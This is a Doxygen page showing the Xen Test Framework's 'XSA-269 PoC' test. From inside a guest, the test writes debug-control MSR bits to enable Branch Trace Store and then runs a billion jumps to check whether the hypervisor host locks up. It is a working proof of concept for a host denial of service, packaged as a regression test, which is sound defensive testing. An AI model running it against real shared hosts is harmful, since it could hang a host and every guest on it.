Xen Test Framework
tests
xsa-269
main.c
Go to the documentation of this file.
1
22
#include <xtf.h>
23
24
const
char
test_title
[] =
"XSA-269 PoC"
;
25
26
void
test_main
(
void
)
27
{
28
unsigned
int
i;
29
uint64_t
val = 0;
30
31
/*
32
* If Debug Store is advertised, presume that vPMU is properly configured
33
* for this domain, and that we're trusted not to (mis)use it.
34
*/
35
if
(
cpu_has_ds
)
36
return
xtf_skip
(
"Skip: Debug Store is available\n"
);
37
38
/*
39
* We cannot rely on CPUID bits, as vPMU is disabled by default. Turn on
40
* each part of BTS individually to reduce the chance of the host hang
41
* being mitigated by a vmentry failure. If vulnerable, we'd expect a
42
* host lockup on the vmentry following the setting of BTS.
43
*/
44
wrmsr_safe
(
MSR_DEBUGCTL
, val |=
DEBUGCTL_TR
);
45
wrmsr_safe
(
MSR_DEBUGCTL
, val |=
DEBUGCTL_BTS
);
46
wrmsr_safe
(
MSR_DEBUGCTL
, val |
DEBUGCTL_BTINT
);
47
48
/*
49
* If we're still alive, generate a billion jumps to check that BTS really
50
* is disabled.
51
*/
52
for
( i = 0; i <
GB
(1); ++i )
53
barrier
();
54
55
/* If we're still alive at this point, Xen is definitely not vulnerable. */
56
57
xtf_success
(
"Success: Not vulnerable to XSA-269\n"
);
58
}
59
60
/*
61
* Local variables:
62
* mode: C
63
* c-file-style: "BSD"
64
* c-basic-offset: 4
65
* tab-width: 4
66
* indent-tabs-mode: nil
67
* End:
68
*/
cpu_has_ds
#define cpu_has_ds
Definition:
cpuid.h:72
barrier
#define barrier()
Definition:
compiler.h:30
test_main
void test_main(void)
To be implemented by each test, as its entry point.
Definition:
main.c:110
test_title
const char test_title[]
The title of the test.
Definition:
main.c:24
MSR_DEBUGCTL
#define MSR_DEBUGCTL
Definition:
msr-index.h:30
DEBUGCTL_BTS
#define DEBUGCTL_BTS
Definition:
msr-index.h:33
DEBUGCTL_BTINT
#define DEBUGCTL_BTINT
Definition:
msr-index.h:34
DEBUGCTL_TR
#define DEBUGCTL_TR
Definition:
msr-index.h:32
wrmsr_safe
static bool wrmsr_safe(uint32_t idx, uint64_t val)
Wrapper around wrmsr which safely catches #GP[0].
Definition:
msr.h:69
GB
#define GB(num)
Express num in Gigabytes.
Definition:
numbers.h:29
xtf_skip
void xtf_skip(const char *fmt,...)
Report a test skip.
Definition:
report.c:66
xtf_success
void xtf_success(const char *fmt,...)
Report test success.
Definition:
report.c:38
uint64_t
__UINT64_TYPE__ uint64_t
Definition:
stdint.h:17
Generated by
1.9.4